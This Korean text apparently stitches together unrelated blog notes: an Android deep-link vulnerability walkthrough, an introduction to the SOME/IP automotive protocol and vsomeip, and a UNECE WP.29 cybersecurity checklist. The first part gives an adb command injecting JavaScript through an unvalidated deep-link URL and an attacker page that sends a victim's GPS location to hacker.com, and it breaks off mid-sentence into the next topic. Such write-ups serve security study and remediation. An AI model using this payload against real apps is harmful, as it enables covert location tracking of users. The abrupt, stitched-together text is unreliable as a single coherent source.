1. AndroidManifest.xml 파일 내 application 태그에서 MainActivity 내 딥링크 사용 확인
딥링크: app://deeplink/load.jsp
2. getQueryParameter 함수를 통해 딥링크의 파라미터(Url) 값 확인이 가능하며 해당 파라미터를 이용하여 웹뷰를 실행하는 딥링크 앱인 것을 확인(url 검증 로직이 존재하지 않아 Open Redirect 취약점 연계 가능)
딥링크: app://deeplink/load.jsp?Url=
3. MainActivity 내 자바스크립트 인터페이스를 사용하는 getGPSLocation() 함수 확인, 해당 함수 실행 시 evaluateJavascript를 통해 send_gpsinfo 함수 실행
JavascriptInterface: 안드로이드와 웹뷰의 통신을 위해 만들어진 인터페이스이며 웹뷰 내 자바스크립트로 안드로이드 함수를 호출하거나 안드로이드에서 웹뷰의 자바스크립트 실행 가능 evaluateJavascript: 안드로이드에서 웹뷰 내의 자바스크립트 실행 가능
딥링크 실행 방법 1. 딥링크 테스트 사이트 이용(https://jdh5202.tistory.com/951) 방법 2. 단말기 내에서 html 파일 생성 후 a 태그로 딥링크를 작성하여 요청 방법 3. adb 명령어 이용( adb shell am start -W -a android.intent.action.VIEW -d "deeplink" 패키지명 ex)adb shell am start -W -a android.intent.action.VIEW -d "app://deeplink/load.jsp?Url=javascript:Android.getGPSLocation\(\)" com.example.recv_deeplink
공격자 서버 페이지(hacker_link.php) 코드
<html><head><script>
function send_gpsinfo(gps_info)
{
// gps 정보 출력
document.getElementById("result").innerHTML = gps_info;
// 공격자 서버로 피해자의 gps 정보를 전송
client = new XMLHttpRequest();
client.open('POST', 'https://hacker.com/saveGPSinfo.php',true);
client.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
client.send("gpsinfo=" + gps_info);
}
</script></head><body><center>
<!-- 딥링크 -->
<a href="javascript:window.Android.getGPSLocation();">Click me!</a>
<div id="result"></div>
</center></body></html>
End. 피해자가 딥링크 클릭 시 공격자 서버로 GPS 정보가 전송됨
참고: 해당 취약점을 확인하려면 인텐트 스키마 및 JavascriptInterface 개념을 이해하고 있어야 한다. 취약점 조치방법은 allow-list 방식으로 인가된 URI에 대해서만 JavascriptInterface 권한을 부여하도록 설정한다.
ி 딥링크 취약점 사례
딥링크를 통해 세션 하이재킹, 계정 탈취, LFI, webview 구현을 사용하는 xss 등 다양한 종류의 취약점이
발생할 수 있다. 예를들어 아래 딥링크를 통해 특정 사용자의 세션을 열 수 있다면공격자는파라미터 값 변조를
SOME/IP는 "Scalable service-Oriented MiddlewarE over IP"의 약자입니다. 이 미들웨어는 일반적인 자동차 사용 사례와 최소 유선 형식 수준의 AUTOSAR와 호환되도록 설계되었습니다. http://some-ip.com/에서 공개적으로 액세스할 수 있는 사양이 제공됩니다. 이번 포스팅에서는 SOME/IP 사양의 기본 구조와 오픈 소스 구현 및 오픈 소스 구현에 대한 간략한 개요를 제공하고자 합니다.
먼저 SOME/IP 사양의 세 가지 주요 부분부터 살펴보겠습니다.
On-wire format
Protocol
Service Discovery
SOME/IP On-wire format
원칙적으로 SOME/IP 통신은 IP를 통해 devices 또는 subscribers 간에 전송되는 메시지로 구성됩니다. 다음 그림을 참고하세요.
두 장치(A 및 B)가 표시되어 있습니다. Device A는 B에 SOME/IP 메시지를 보내고 하나의 메시지를 반환합니다. 기본 전송 프로토콜은 TCP 또는 UDP를 활용합니다. 메시지 자체에는 큰 차이가 없습니다. 이제 Device B에서 이 메시지에 의해 Device A에서 호출되는 기능을 제공하는 서비스를 실행하고 있다고 가정하고, 그 답으로 메시지를 보냅니다.
SOME/IP 메시지에는 header와 payload의 두 부분이 있습니다. 그림에서 헤더는 주로 식별자입니다:
Service ID: 각 서비스의 고유 식별자
Method ID: 0-32767(방법), 이벤트의 경우 32768-65535
Length: 페이로드 길이(바이트)(다음 ID도 포함, 8바이트 추가)
Client ID: ECU 내의 호출 클라이언트에 대한 고유 식별자로, 전체 차량에서 고유해야 합니다.
Session ID : 세션 처리를 위한 식별자. 각 통화에 대해 증가시켜야 합니다.
Protocol Version : 0x01
Interface Version: 주요 서비스 인터페이스 버전
Message Type:
-- REQUEST (0x00) 응답을 기다리는 요청(공백도)
-- REQUEST_NO_RETURN (0x01) A fire&forget 요청
-- NOTIFICATION (0x02) 응답이 없을 것으로 예상되는 알림/이벤트 콜백 요청
-- RESPONSE (0x80) response message
Return Code :
-- E_OK (0x00) 오류 발생이 없을 시
-- E_NOT_OK (0x01) 지저오디지 않은 오류 발생
-- E_WRONG_INTERFACE_VERSION (0x08) Interface version 불 일치
-- E_MALFORMED_MESSAGE (0x09) 페이로드의 크기를 줄일 수 없도록 감도화 오류
-- E_WRONG_MESSAGE_TYPE (0x0A) 예상치 못한 메시지 유형 수신 (예를 들어 RE-QUEST_NO_RETURN)
정상적인 기능 호출과 클라이언트가 가입한 이벤트에 대한 알림 메시지에 "Requests" 및 "RESPONSE"가 있음을 알 수 있습니다. 오류는 정상적인 응답 또는 알림으로 보고되지만 적절한 반환 코드가 있습니다.
payload에는 직렬화된 데이터가 포함되어 있습니다. 위 그림은 전송된 데이터 구조가 기본 데이터 유형만 있는 중첩 구조라는 단순한 경우의 직렬화를 보여주고 있습니다. 이 경우, 구조 요소는 그냥 평평하게 됩니다. 즉, 단순히 적재물에 하나씩 기록된다는 뜻입니다.
SOME/IP Protocol
이 섹션에서는 주로 두 가지 사항이 중요합니다.
the so-called transport bindings (UDP and TCP)
the basic communication patterns publish/subscribe and request/response.
위에서 언급한 바와 같이 기본 전송 프로토콜은 UDP 또는 TCP일 수 있습니다. UDP의 경우 SOME/IP message가 분할되지 않습니다. message가 둘 이상 UDP 패킷에 있을 수 있지만 UDP 패키지는 최대 1400바이트일 수 없습니다. 큰 message는 TCP를 통해 전송되어야 합니다. 이 경우 TCP의 robustness가 사용됩니다. TCP 스트림에서 동기화 오류가 발생하면 SOME/IP 규격에서 다음 message의 시작을 다시 찾기 위해 magic cookies를 호출할 수 있습니다.
service interfaces를 인스턴스화해야 하며 동일한 인터페이스의 인스턴스가 여러 개 있을 수 있으므로 정의된 인스턴스(인스턴스 ID)에 대한 추가 식별자가 있어야 합니다. 그러나 인스턴스 ID는 SOME/IP 메시지 header의 일부가 아닙니다. 인스턴스는 전송 프로토콜의 포트 번호를 통해 식별됩니다. 즉, 동일한 인터페이스에서 여러 인스턴스가 동일한 포트에서 제공될 수 없습니다.
이제 기본 SOME/IP 통신 패턴을 보여 주는 다음 그림을 보십시오.
Remote Procedure Calls에 대한 표준 REQUEST/RESPONSE 메커니즘 외에도 이벤트에 대한 PUBLISH/SUBSCRIBE 패턴도 있습니다. SOME/IP 프로토콜의 이벤트는 항상 이벤트 그룹에 그룹화되므로 이벤트 자체는 가입할 수 없고 이벤트 그룹에만 가입할 수 있습니다. SOME/IP 사양도 "필드"를 알고 있습니다. 이 경우 Setter/Getter 방법이 REQUEST/RESPONSE 패턴을 따르고 있으며 변경사항의 알림 message는 이벤트입니다. Subscription 자체는 SOME/IP Service Discovery을 통해 수행됩니다.
SOME/IP Service discovery
SOME/IP 서비스 검색은 서비스 인스턴스를 찾고 서비스 인스턴스가 실행 중인지 탐지하고 publish/subscribe 처리를 구현하는 데 사용됩니다. 이것은 소위 말하는 offer messages를 통해 수행됩니다. 즉, 각 device는 이 device에서 제공하는 모든 서비스를 포함하는 메시지를 broadcast(멀티캐스트)합니다. SOME/IP SD messages는 UDP를 통해 전송됩니다. 클라이언트 애플리케이션에 서비스가 필요하지만 현재 제공되지 않는 경우 "find messages"도 보낼 수 있습니다. 다른 SOME/IP SD messages는 이벤트 그룹을 Publish/Subscribe하는 데 사용할 수 있습니다.
다음 그림은 SOME/IP SD messaged의 일반적인 구조를 보여줍니다.
vsomeip 간단 개요
도입 사례를 구현하기 전에 vsomeip이라고 하는 SOME/IP의 GENIVI 구현의 기본 구조에 대해 간단히 살펴보겠습니다.
그림과 같이 vsomeip은 기기 간 SOME/IP communication (외부 통신)뿐만 아니라 내부 프로세스 간 communication 도 포함합니다. 두 Device는 사용된 전송 프로토콜(TCP 또는 UDP)과 해당 매개 변수를 포트 번호 또는 기타 매개 변수로 결정하는 통신 endpoints 을 통해 통신합니다. 이러한 모든 매개 변수는 vsomeip 구성 파일에 설정할 수 있는 구성 매개 변수입니다(json 파일, vsomeip 사용자 설명서 참조). 내부 communication은 로컬 endpoint를 통해 이루어지며, 이 엔드포인트는 Boost.Asio Library를 사용하여 Unix 도메인 소켓에 의해 구현됩니다. 이 내부 통신은 D-Bus 데몬과 같은 중앙 구성 요소를 통해 라우팅되지 않으므로 매우 빠릅니다.
중앙 vsomeip 라우팅 관리자는 외부 디바이스로 전송해야 하는 경우에만 messages를 수신하고 외부에서 들어오는 messages를 배포합니다. Device 당 라우팅 관리자는 하나만 있으며, 아무것도 구성되지 않은 경우 실행 중인 vsomeip 애플리케이션도 라우팅 관리자를 시작합니다.
vsomeip은 데이터 구조의 직렬화를 구현하지 않습니다. 이는 CommonAPI의 SOME/IP Binding에서 다루고 있습니다. vsomeip은 SOME/IP Protocol과 Service Discovery을 포함합니다.
이는 SOME/IP 및 vsomeip에 대한 짧은 소개였습니다 그러나 처음 접하시는 분들에게는 충분할 것입니다. 더 자세한 것은 나중에 예제를 통해 설명하도록 하겠습니다.
Service ID : 서비스 unique ID Method ID : 0-32767(Method), 32768-65535 (Event) Length : Payload length Client ID : ECU 내의 unique ID=> 하나의 Service ID 안에 여러 Client 가 존재 할 수 있다. Session ID : Session ID, SOME/IP 통신 마다 증가해야 하며, SOME/IP sequence를 구별 하기 위해 사용한다. Protocol Version : 0x01 (현재 default 값은 1이다) Interface Version : Service Interface의 Major 버전이다.
Message Type : -- REQUEST (0x00) Response를 기다리는 요청 -- REQUEST_NO_RETURN (0x01) A fire&forget 요청 -- NOTIFICATION (0x02) Response 기대 없이 이벤트 형식의 data 만 전송 -- RESPONSE (0x80) Response message
-- E_WRONG_PROTOCOL_VERSION (0x07) Protocl version 불 일치
-- E_WRONG_INTERFACE_VERSION (0x08) Interface version 불 일치
-- E_MALFORMED_MESSAGE (0x09) 비정상 Packet 형태 -- E_WRONG_MESSAGE_TYPE (0x0a) Message Type 불 일치 -- RESERVED (0x0b - 0x1f) 페이로드의 크기를 줄일 수 없도록 감도화 오류 -- RESERVED (0x020 - 0x5e) 예상치 못한 메시지 유형 수신 (예를 들어 RE-QUEST_NO_RETURN)
-Payload Serialization
규격 참고
보통 Protocol의 Header 및 Serilization 부분은 규격을 자세히 읽어 보는 것이 좋은것 같다.
#Use TCP only if very large chunks of data need to be transported (> 1400 Bytes) and no hard latency requirements in the case of errors exists
#Use UDP if very hard latency requirements (<100ms) in case of errors is needed
#Use UDP together with SOME/IP-TP if very large chunks of data need to be transported (> 1400 Bytes) and hard latency requirements in the case of errors exists
#Try using external transport or transfer mechanisms (Network File System, APIX link, 1722, ...) when they are more suited for the use case. In this case SOME/IP can transport a file handle or a comparable identifier. This gives the designer additional freedom (e.g. in regard to caching).
TCP 사용 시 중요한 것은 Nagle's Algorithm이 off 되야 된다는 것이다.
SOME/IP 중요성 중에 하나가 실시간 성이기 때문이다.
Consumer 와 Provider 간은 하나의 Connection을 기반으로 통신해야 한다.(TCP는 Heavy 한 Protocol 이며 TCP Connection은 최소화 해야 한다.)
UDP 기반으로 MTU 이상 Packet을 전송 하기 위해서는 SOME/IP-TP라는 것을 이용해 보내게 된다.
결국 Data를 Segment하며 Header에 offset 정보를 담아서 보내게 되는 형식이다.
-Communication
규격에서 제안 하는 SOME/IP 통신 방법은 Request/Response(Method), Fire&Forget, Events, Field 총 4가지 이다.
아래 그림으로 충분히 설명이 가능 할 것이다.
-Error Handling
Error 발생 시 규격에서 제안 하는 방법은 총 2가지 존재한다.
Return codes in the Response Messages of methods.
Explicit Error Messgaes
Response Message의 Returen code에 Error code를 Returne 해주는 방법 과 Paload에 Error mesage(Message Type 0x81)을 담아서 보내는 방법이 있다.
후자는 Consumer Provider 간의 Error message 약속이 존재해야 한다.
글쓴이가 느끼기엔 Error Handling 관련 부분이 타 Protocol Spec(RFC, 3GPP) 대비 많이 부족한 부분인것 같다.
앞으로 많은 부분이 Update 될 것 같다.
3. SOME/IP Service Discovery(SOME/IP-SD)
각 Provider 와 Consumer는 시작 전 서로의 정보(Version, IP address, Port ...)들을 알고 있지 않는다.
SOME/IP Service Discovery라는 Step을 통해서 Provider 와 Consumer간 서로의 정보를 교환하게 된다.
경험상 SOME/IP-SD flow 다음과 같이 2가지가 존재 할 수 있다.
1) TTL 안에 OfferService가 오는 경우
2) TTL expired 된 후 FindService가 전송 되는 경우
Concept OfferService와 FindService를 통해 서로의 IP addres, Port 등등을 주고 받는 것이며,
주고 받은 정보 기반으로 SOME/IP 통신을 하게 된다.
SOME/IP-SD는 Mulitcast를 이용하기 때문에 무조건 UDP 를 사용해야 한다.
이와 관련된 자세한 내용을 알기 위해서는 규격의 StateMachine Diagram을 이해 하는 것이 좋다.
여기서 주의 할 것은 Subscribe는 Mandatory가 아니다, Event 혹의 Field의 Notication이 필요 없을 경우는 Subscription 과정을 생략 해도 된다.
1) TTL 안에 OfferService가 오는 경우
2) TTL expired 된 후 FindService가 전송 되는 경우
- Message format
SOME/IP의 Payload에 SOME/IP-SD Header와 Option이 위치하게 된다.
출처 : UN 유럽 경제위원회 정보부 면책 조항 :이 문서는 정보 제공만을 목적으로 합니다. 특정 문제 또는 사실적 상황에 대한 법적 의견 또는 법적 조언에 의존하거나 해석해서는 안됩니다. WP.29 의 궁금한 사항은 AUTOCRYPT 팀에 직접 문의 부탁드립니다. UNECE WP.29 체크리스트 2020 년 6 월 UN 은 자동차 사이버 보안에 관한 두 가지 새로운 규정을 공식적으로 채택했습니다. 이에 따라 자동차 산업에 종사하는 경우 조직에서 수행해야 하는 몇 가지 작업 (OEM, Tier-1 공급 업체, 소프트웨어 제공 업체 등)이 있습니다. CYBER SECURITY MANAGEMENT SYSTEMS (CSMS).. 일반 산업 / 부문 차량 설계에서 사이버 보안 위험 식별 및 관리 테스트를 포함한 위험관리 확인 위험평가가 최신 상태로 유지되고 있는지 확인 사이버 공격 모니터링 및 대응 사이버 보안 성공된 사례 분석 지원 새로운 위협 및 취약성 평가 제조업체 부문 CSMS 차량적용가능 확인 위험평가 분석 및 주요사항 식별 위험을 줄이기 위한 완화 조치 식별 완화 조치가 의도대로 작동하는지 식별 사이버공격에 대한 예방조치 확인 차량 유형별 활동 모니터링 모니터링 활동 보고서 승인기관 전송 SOFTWARE UPDATE MANAGEMENT SYSTEMS (SUMS).. 일반 산업 / 부문 차량유형에 대한 하드웨어 및 소프트웨어 버전 기록 형식승인과 관련된 소프트웨어 식별 소프트웨어 구성요소 확인 소프트웨어 업데이트 및 상호 종속성 확인 차량 표적 식별 및 소프트웨어 업데이트 호환성 확인 소프트웨어 업데이트가 매개변수에 영향을 미치는지 확인 소프트웨어 업데이트가 안전에 영향을 미치는지 확인 차량 소유자에게 소프트웨어 업데이트 알림 제조업체 부문 SUMS 차량적용가능 확인 소프트웨어 매커니즘 보호 및 무결성 보장 소프트웨어 식별번호 보호 차량에서 소프트웨어 식별번호 가능여부 확인 출처 : UN 유럽 경제위원회 정보부 면책 조항 :이 문서는 정보 제공만을 목적으로 합니다. 특정 문제 또는 사실적 상황에 대한 법적 의견 또는 법적 조언에 의존하거나 해석해서는 안됩니다. WP.29 의 궁금한 사항은 AUTOCRYPT 팀에 직접 문의 부탁드립니다. OVER-THE-AIR (OTA) SOFTWARE UPDATES.. 업데이트 실패 시 복원기능 전원이 충분한 경우만 업데이트 실행 안전한 실행 보장 사용자에게 업데이트 완료됨을 확인 필요 차량이 업데이트 실행이 가능한지 확인 필요 정비가 필요할 경우 사용자에게 알림 필요